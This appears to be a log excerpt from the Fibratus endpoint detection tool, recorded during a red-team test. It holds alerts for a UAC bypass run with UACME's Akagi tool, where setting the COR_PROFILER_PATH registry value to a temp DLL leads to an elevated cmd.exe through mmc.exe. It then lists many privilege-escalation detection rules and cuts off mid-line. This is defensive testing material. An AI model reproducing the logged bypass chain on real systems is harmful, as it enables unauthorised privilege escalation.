+time=2025-12-02T17:34:46+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-02T17:34:49+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-02T17:35:19+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 8699767 + Pid: 6540 + Tid: 9204 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-02 17:35:17.2727883 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffff9508da257710, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 14695981039346656037, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 6540 + Ppid: 15544 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:9885a1e8-f49f-46fa-a45d-9d5c3a2701bb WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 8703530 + Pid: 12588 + Tid: 7324 + Type: CreateProcess + CPU: 6 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-02 17:35:18.2004171 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 47c29a000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808fc2a1b080, name➜ cmd.exe, pid➜ 14952, ppid➜ 12588, real_ppid➜ 12588, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-02 17:35:18.2003671 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 14695981039346656037, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004 + + Pid: 12588 + Ppid: 6540 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-02T17:35:54+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 8707505 + Pid: 2460 + Tid: 5792 + Type: RegSetValue + CPU: 6 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-02 17:35:53.295776 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffff9508da257710, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: tactic.name: Privilege Escalation, rule.seq.link: 14695981039346656037, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004 + + Pid: 2460 + Ppid: 15544 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:9885a1e8-f49f-46fa-a45d-9d5c3a2701bb WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 8711043 + Pid: 3180 + Tid: 3228 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-02 17:35:54.1538629 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 39c5e3000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808fba5e7080, name➜ cmd.exe, pid➜ 14948, ppid➜ 3180, real_ppid➜ 3180, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-02 17:35:54.1538144 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 14695981039346656037, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 3180 + Ppid: 2460 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-02T17:37:02+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-02T17:37:02+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-02T17:37:02+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-02T17:38:59+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-02T17:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-02T17:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation_or_directory_creation.yml source=config/filters.go:355 +time=2025-12-02T17:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-02T17:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-02T17:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-02T17:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-02T17:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T17:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-02T17:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-02T17:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T17:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-02T17:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-02T17:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-02T17:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-02T17:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-02T17:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T17:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T17:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-02T17:38:59+01:00 level=info msg=loading rule from 